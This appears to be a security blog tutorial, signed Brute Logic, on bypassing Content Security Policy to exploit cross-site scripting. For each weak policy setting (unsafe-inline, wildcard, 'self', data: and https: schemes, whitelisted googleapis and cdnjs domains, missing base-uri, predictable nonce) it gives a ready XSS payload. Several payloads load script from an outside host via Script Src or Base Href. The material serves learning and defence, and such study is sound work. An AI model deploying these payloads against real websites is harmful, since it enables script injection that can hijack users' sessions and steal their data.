Content Security Policy (CSP) is the last line of defense against the exploitation of a XSS vulnerability. When correctly implemented, it seems to be extremely effective in doing so (nowadays). Here we will deal with the possible ways to abuse flaws in its implementation. For a comprehensive reference on CSP check here.

Some basic samples are available for exercise before you check this post:

CSP Unsafe Inline
CSP Data URI Whitelist
CSP Whitelisted Domain
CSP No Base URI

To make it easier to understand and follow we will get straight into the source values we can found for a given directive and how to use them to get a bypass. Some other useful exploitation tricks end this guide.

unsafe-inline

The best CSP source value for script-src directive we can find since it allows everything we might need: event handlers, javascript pseudo-protocol and scripts. A simple <script>alert(1)</script> or <tag onevent=alert(1)> is enough to XSS.

Policy Example:

script-src 'unsafe-inline';

Bypass Example:

<Svg OnLoad=alert(1)>

* (wildcard)

This means that any source  for a given directive is allowed.

Policy Example:

script-src *;

Bypass Example:

<Script Src=//X55.is></Script>

‘self’

For ‘self’ source value for script-src directive we have the following bypass options:

  • Using an uploaded file with Javascript code as source of a script;

Policy Example:

script-src 'self';

Bypass Example:

<Script Src=/uploads/myfile.js></Script>

  • Using a JSONP callback from a relative URL as source of a script;

Policy Example:

script-src 'self';

Bypass Example:

<Script Src=/api/v1?callback=alert(1)></Script>

  • Using an existing relative URL to call a JS library and with unsafe-eval source execute a script gadget.

Policy Example:

script-src 'self' 'unsafe-eval';

Bypass Example:

<Script Src=/libs/angular-1.6.0.js></Script><K Ng-App>{{$new.constructor('alert(1)')()}}

Whitelisted Scheme 

If data URI (data:) or secure http (https:) is provided as source for a script-src directive, it can be used to bypass this very directive. Note this is only useful for script policies/injections since a https source (except in base element) or a data URI (which runs in blank context for all HTML elements) can’t be used in other XSS vectors.

Policy Example:

script-src data: ;

Bypass Example:

<Script Src=data:,alert(1)></Script>

Policy Example:

script-src https: ;

Bypass Example:

<Script Src=https://X55.is></Script>

Whitelisted Domain

All whitelisted domains are a breach on the respective policy so if we find a way to  import a JSONP endpoint with callback or to include a JS library (with unsafe-eval) too, it will work flawless. An old (also non-verified) list of possible JSONP endpoints with callback for several well known websites can be found here.

Policy Example:

script-src 'https://*.googleapis.com';

Bypass Example:

<Script Src=https://www.googleapis.com/customsearch/v1?callback=alert(1)></Script>

Policy Example:

script-src 'unsafe-eval' 'https://cdnjs.cloudflare.com';

Bypass Example:

<Script Src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js>
</Script><K Ng-App>{{$new.constructor('alert(1)')()}}

base-uri

If there’s a running script in the page called with a relative path like /path/script.js after the point of injection, there’s no base URI set in the document and no base-uri directive, there’s a simple bypass for any CSP implemented.

Policy Example:

script-src 'nonce-r4nd0mch4rs';

Bypass Example:

<Base Href=//X55.is>

Fixed or Predictable Nonce

If a nonce-based policy is implemented and that value is a fixed one or easily predictable (like with sequential, incremental numbers or chars) bypass isstraightforward.

Policy Example:

script-src 'nonce-abcd1234';

Bypass Example:

<Script Src=//X55.is Nonce=abcd1234></Script>

Internet Explorer

The old Internet Explorer browser has a very limited coverage of modern CSP, mostly related to frames so it can be safely used as a bypass itself for a given CSP.

*** Last Tip ***

In DOM-based injection scenarios a script used for a CSP bypass might not load so we can use the following to achieve Javascript execution:

#XSS vector for when you need to call a script to bypass some "script-src" CSP directive in a DOM-based scenario.

<Iframe SrcDoc="<Script Src=URL></Script>">

— Brute Logic (@brutelogic) February 9, 2021

#hack2learn